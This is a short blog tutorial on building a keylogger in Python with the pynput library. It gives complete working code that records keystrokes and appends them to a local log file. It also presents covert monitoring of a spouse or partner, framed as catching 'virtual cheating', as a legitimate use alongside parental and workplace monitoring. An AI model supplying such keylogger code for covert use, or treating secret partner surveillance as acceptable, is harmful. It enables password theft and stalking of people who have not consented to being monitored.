Sam  Son

How to Make a Simple Key Logger with Python

This article is a tutorial on how to develop a simple key logger using Python.

Install the following packages:

  1. pynput— Library to control and monitor input devices
pip install pynput

What is a Key Logger?

Keystroke logging often referred to as keylogging or keyboard capturing, is the action of recording the keys struck on a keyboard, typically covertly, so that person using the keyboard is unaware that their actions are being monitored. Data can then be retrieved by the person operating the logging program. This logging program is called a Key Logger.

Most modern keyloggers are considered to be legitimate software or hardware and are sold on the open market. Developers and vendors offer a long list of cases in which it would be legal and appropriate to use keyloggers, including:

  • Parental control: parents can track what their children do on the Internet, and can opt to be notified if there are any attempts to access websites containing adult or otherwise inappropriate content;
  • Jealous spouses or partners can use a keylogger to track the actions of their better half on the Internet if they suspect them of “virtual cheating”;
  • Company security: tracking the use of computers for non-work-related purposes, or the use of workstations after hours;
  • Company security: using keyloggers to track the input of keywords and phrases associated with commercial information which could damage the company (materially or otherwise) if disclosed;
  • Other security (e.g. law enforcement): using keylogger records to analyze and track incidents linked to the use of personal computers.

Why keyloggers are a threat?

Unlike other types of malicious programs, keyloggers present no threat to the system itself. Nevertheless, they can pose a serious threat to users, as they can be used to intercept passwords and other confidential information entered via the keyboard. As a result, cybercriminals can get PIN codes and account numbers for e-payment systems, passwords to online gaming accounts, email addresses, user names, email passwords, etc.

Types of Key Loggers

  1. Software and
  2. Hardware

Import the required libraries

import pynput 
from pynput.keyboard import Key, Listener

Define a list to store keys and a variable to store character count

charCount = 0
keys = []

Let’s write a function to perform some action when a key is pressed

def onKeyPress(key):
    try: 
        print('Key Pressed : ',key)    #Print pressed key   
    except Exception as ex:
        print('There was an error : ',ex)

Now, let’s write a function to handle key release

def onKeyRelease(key):
    global keys, charCount  #Access global variables
    if key == Key.esc:
        return False
    else:
        if key == Key.enter:    #Write keys to file
            writeToFile(keys)
            charCount = 0
            keys = []
        elif key == Key.space:  #Write keys to file
            key = ' '
            writeToFile(keys)
            keys = []
            charCount = 0
        keys.append(key)    #Store the Keys
        charCount += 1      #Count keys pressed

Finally, let’s define a function that will log the keys pressed to a log file

def writeToFile(keys):
    with open('log.txt','a') as file:
        for key in keys:
            key = str(key).replace("'","")   #Replace ' with space
            if 'key'.upper() not in key.upper():
                file.write(key)
        file.write("\n")    #Insert new line

Now that we have the functions defined to handle keypress and key release, we can use the Listener provided by ‘**pynput ’**to log the keys.

with Listener(on_press=onKeyPress,\
    on_release=onKeyRelease) as listener:
    listener.join()

This is image title

Snip of the Output of the above code snippet

This is image title

Snip of the Log FIle

I hope this article was helpful, do leave some claps if you liked it.

Thank you for reading!

#python #programming #keylogger

How to Make a Simple Key Logger with Python
74.75 GEEK